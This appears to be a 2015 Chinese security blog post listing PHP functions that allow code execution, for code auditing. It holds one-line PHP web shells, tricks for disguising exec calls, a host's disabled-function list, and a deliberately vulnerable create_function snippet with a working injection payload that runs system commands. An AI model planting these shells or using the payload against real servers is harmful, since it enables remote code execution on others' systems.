注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

K8拉登哥哥's Blog

K8搞基大队[K8team] 信息安全 网络安全 0day漏洞 渗透测试 黑客

 
 
 

日志

 
 

代码审计 PHP代码执行漏洞 函数大全  

2015-04-07 09:56:09|  分类: PHP |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |
PHP中可能导致代码注射的函数

很多人都知道eval、preg_replace+/e可以执行代码,但是不知道php还有很多的函数可以执行代码如:

assert()
call_user_func()
call_user_func_array()
create_function()
变量函数

<? eval($_GET['cmd']); ?>

<? system($_GET['cmd']); ?>

<? preg_replace('/.*/e',$_POST['code']); ?>

Shell Execute

    system
    exec
    popen
    backtick operator
    pcntl_exec

PHP Execute

    eval
    preg_replace (with /e modifier)
    create_function
    include[_once] / require[_once] (see mario's answer for exploit details)


    

Plattform-specific, but also theoretical exec vectors:

    dotnet_load()
    new COM("WScript.Shell")
    new Java("java.lang.Runtime")
    event_new() - very eventually

And there are many more disguising methods:

    proc_open is an alias for popen
    call_user_func_array("exE".chr(99), array("/usr/bin/damage", "--all"));
    file_put_contents("/cgi-bin/nextinvocation.cgi") && chmod(...)
    PharData::setDefaultStub - some more work to examine code in .phar files
    runkit_function_rename("exec", "innocent_name") or APD rename_function


    

These functions can also have some nasty effects.

    str_repeat()
    unserialize()
    register_tick_function()
    register_shutdown_function()



    

Here is a list of functions my provider disables for security purposes:

    exec
    dl
    show_source
    apache_note
    apache_setenv
    closelog
    debugger_off
    debugger_on
    define_syslog_variables
    escapeshellarg
    escapeshellcmd
    ini_restore
    openlog
    passthru
    pclose
    pcntl_exec
    popen
    proc_close
    proc_get_status
    proc_nice
    proc_open
    proc_terminate
    shell_exec
    syslog
    system
    url_exec




<?php
//how to exp this code
$sort_by=$_GET['sort_by'];
$sorter='strnatcasecmp';
$databases=array('test','test');
$sort_function = '  return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>


?sort_by="]);}phpinfo();/*


http://127.0.0.1/php/8.php?sort_by=%22%5D%29;}echo%20system%28ipconfig%29;/*
  评论这张
 
阅读(1190)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2016